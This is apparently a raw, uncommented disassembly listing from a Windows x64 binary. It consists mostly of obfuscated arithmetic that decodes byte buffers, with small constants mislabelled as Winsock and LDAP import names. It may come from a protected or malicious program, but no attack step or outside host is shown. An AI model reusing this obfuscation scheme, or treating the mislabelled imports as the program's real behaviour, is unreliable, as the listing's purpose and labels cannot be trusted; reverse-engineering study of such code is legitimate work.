mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x2a
jb 0x14006b5ea
lea ecx, [r10 + 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x40]
jmp 0x14006b742
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14006b647
lea rcx, [r8 + 5]
cmp r9, rcx
jbe 0x14006b460
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
cmp r9, 0x1000
jae 0x14006b5f6
lea rax, [r8 + 1]
cmp r9, rax
jbe 0x14006b503
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14006b1d1
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x14006b7dc
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006b60e
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14006add2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
inc r8
dec rbx
inc rbx
jmp 0x14006add2
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x14006b742
lea rax, [r8 + 6]
cmp r9, rax
jae 0x14006b3b3
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14006b216
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14006b3e6
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
inc rax
cmp r9, rax
jne 0x14006b40a
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14006b804
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14006b439
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14006add2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14006b216
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x14006b742
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14006b483
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x14006b742
inc rax
cmp r9, rax
jne 0x14006b4a5
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006b60e
cmp r9, rcx
jne 0x14006b4dc
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14006b246
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x14006b7dc
jne 0x14006b533
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14006b559
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14006b7dc
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14006b590
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14006b5b4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec rbx
inc rbx
jmp 0x14006add2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14006b1da
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14006add2
mov byte [rsp + rbx + 0x60], dl
inc rbx
jmp 0x14006add2
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
add dl, r11b
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, r10b
add r11b, dl
mov byte [rsp + rbx + 0x60], r11b
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x60]
jmp 0x14006b7dc
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006b804
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
dec rbx
inc rbx
jmp 0x14006add2
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rsp + rbx + 0x60], cl
inc r8
dec rbx
inc rbx
jmp 0x14006add2
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
dec rbx
inc rbx
jmp 0x14006add2
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
movabs rcx, 0xe00f3f7cc09eb4f0
add rcx, rbx
and dil, cl
mov eax, gethostname
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx r10d, bl
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x60], al
inc r8
add rax, r8
sub rbx, rax
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x40
add cl, r11b
mov byte [rsp + rbx + 0x60], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
lea rcx, [rbx + r13]
and dil, cl
mov eax, Ordinal_27
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006add0
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006adc0
lea rbx, [rbp + 0x1571420]
jmp 0x14006b8bb
lea rbx, [rbp + 0x649bb0]
jmp 0x14006b8bb
lea rbx, [rsp + 0x60]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x28]
call fcn.140002dc0
nop
mov r8d, reloc.WS2_32.dll_listen
mov rdx, rbx
lea rcx, [rbp + 0x28]
call fcn.140004830
nop
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0xb8]
lea rcx, [0x1402cdde0]
call fcn.14005e1e0
mov rcx, qword [rax]
mov qword [rcx + 0x30], rsi
lea rcx, [rbp + 0x28]
call fcn.140002a20
mov r14, qword [0x1402c98b8]
mov dword [rbp - 0x78], 0xe0d7a01
mov dword [rbp - 0x74], 0x70000203
mov dword [rbp - 0x70], 0x40d0604
mov byte [rbp - 0x6c], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6b], xmm0
mov dword [rbp - 0x5b], eax
mov word [rbp - 0x57], ax
movabs r13, 0xbe1777c4bb098a44
movzx ebx, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14006c4db
movzx r11d, byte [rbp + rdi - 0x78]
mov esi, r11d
cmp r8, rdi
ja 0x14006c4d2
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14006b9a0
lea rcx, [rdi + r13]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
add bl, 0x24
jmp 0x14006b9da
je 0x14006c45a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006c3d3
lea rax, [rcx + 1]
cmp r8, rax
je 0x14006c39f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14006c350
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006c32d
movzx r10d, dil
nop
cmp r9, rdi
ja 0x14006c4c9
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14006ba09
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xc
jmp 0x14006ba40
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14006c2e8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006c2c6
lea rax, [r9 + 4]
cmp r8, rax
je 0x14006c29b
lea rax, [rcx + 1]
cmp r8, rax
je 0x14006c281
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14006bfaf
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14006bfa1
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14006bf7c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14006bf56
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14006c065
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14006bf28
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14006befd
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006bedf
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14006bebf
lea rax, [r9 + 4]
cmp r8, rax
je 0x14006be95
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14006ba50
lea r8, [r9 + 6]
lea r9, [r8 + 6]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14006c4a9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14006c48d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14006bc42
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14006bc24
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14006bc0a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14006be4e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14006be04
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14006bdc5
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14006bda2
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14006ba50
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14006bd74
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14006bd58
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14006bd3e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14006bd0f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14006bce1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14006bcc7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14006bca1
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14006bc78
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14006bc5e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14006ba50
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x10]
jmp 0x14006ba50
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x74
jmp 0x14006ba40
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006b9e0
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
jmp 0x14006b975
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x60
jmp 0x14006c301
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14006b962
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14006b962
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x38
jmp 0x14006c369
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x10
jmp 0x14006c3f6
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
jmp 0x14006c420
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x54
mov byte [rbp + rdi - 0x78], bl
inc rdi
jmp 0x14006b962
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 0x200
jb 0x14006bdb9
lea ecx, [r10 + 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea ebx, [rcx*2 - 0x50]
jmp 0x14006c301
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 8
jae 0x14006c24e
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14006c18e
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x14006bdde
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x14006c26b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14006c083
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x6c
jmp 0x14006be1d
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006c420
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006c3f6
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14006b962
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
inc r9
dec rdi
inc rdi
jmp 0x14006b962
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14006c2f1
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14006bfd6
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006be63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006c009
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
inc rax
cmp r8, rax
jne 0x14006c031
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006c420
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006c058
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006c3f6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006be63
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006c369
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14006c0a6
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x24
jmp 0x14006c301
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006c0d5
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14006b962
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14006c0f8
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4c
jmp 0x14006c369
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006c12f
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14006c167
add r10b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14006be1d
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x74
jmp 0x14006c3f6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006c1c1
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006c1e8
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14006c3f6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006c21f
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14006bdde
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
dec rdi
inc rdi
jmp 0x14006b962
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x60
add bl, r11b
jmp 0x14006c369
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [rcx - 0x18]
jmp 0x14006c3f6
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x14
jmp 0x14006c3f6
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x34
dec rdi
inc rdi
jmp 0x14006b962
lea edx, [r10 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi - 0x78], cl
inc r9
dec rdi
inc rdi
jmp 0x14006b962
lea edx, [rdi - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
dec rdi
inc rdi
jmp 0x14006b962
movzx r10d, dil
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi - 0x78], r10b
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
movabs rcx, 0xaed335ea9355dc64
add rcx, rdi
and sil, cl
mov eax, Ordinal_35
sub al, sil
lea ebx, [rax + rax]
add bl, r11b
add bl, cl
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006b962
movabs rcx, 0x32a446611d42c7dc
add rcx, rdi
and sil, cl
add sil, sil
movzx ebx, r11b
sub bl, sil
sub bl, 4
add bl, cl
movzx r10d, dil
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi - 0x78], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi - 0x78], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
movabs rcx, 0x3a46674e311c9ecc
add rcx, rdi
and sil, cl
mov eax, gethostname
sub al, sil
lea ebx, [rax + rax]
add bl, r11b
add bl, cl
movzx eax, byte [rbp + rdi - 0x78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006b962
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4c
jmp 0x14006b960
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006b950
lea rbx, [rbp + 0x168e538]
jmp 0x14006c4df
lea rbx, [rbp + 0x1326f7c]
jmp 0x14006c4df
lea rbx, [rbp - 0x78]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.140002dc0
nop
mov r8d, reloc.WS2_32.dll_listen
mov rdx, rbx
lea rcx, [rbp + 0x48]
call fcn.140004830
nop
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0xc8]
lea rcx, [0x1402cdde0]
call fcn.14005e1e0
mov rcx, qword [rax]
mov qword [rcx + 0x30], r14
lea rcx, [rbp + 0x48]
call fcn.140002a20
mov r14, qword [0x1402c98b0]
mov dword [rbp - 0x50], 0x11110a15
mov dword [rbp - 0x4c], 0x13151303
mov dword [rbp - 0x48], 0xbb331f1d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x44], xmm0
mov dword [rbp - 0x34], eax
mov word [rbp - 0x30], ax
mov byte [rbp - 0x2e], al
movabs r13, 0x63ef0738c91d75c6
movzx ebx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14006d1ca
movzx r10d, byte [rbp + rdi - 0x50]
mov esi, r10d
cmp r8, rdi
ja 0x14006d1c1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14006c5c0
lea rcx, [rdi + r13]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
sub bl, 0x6a
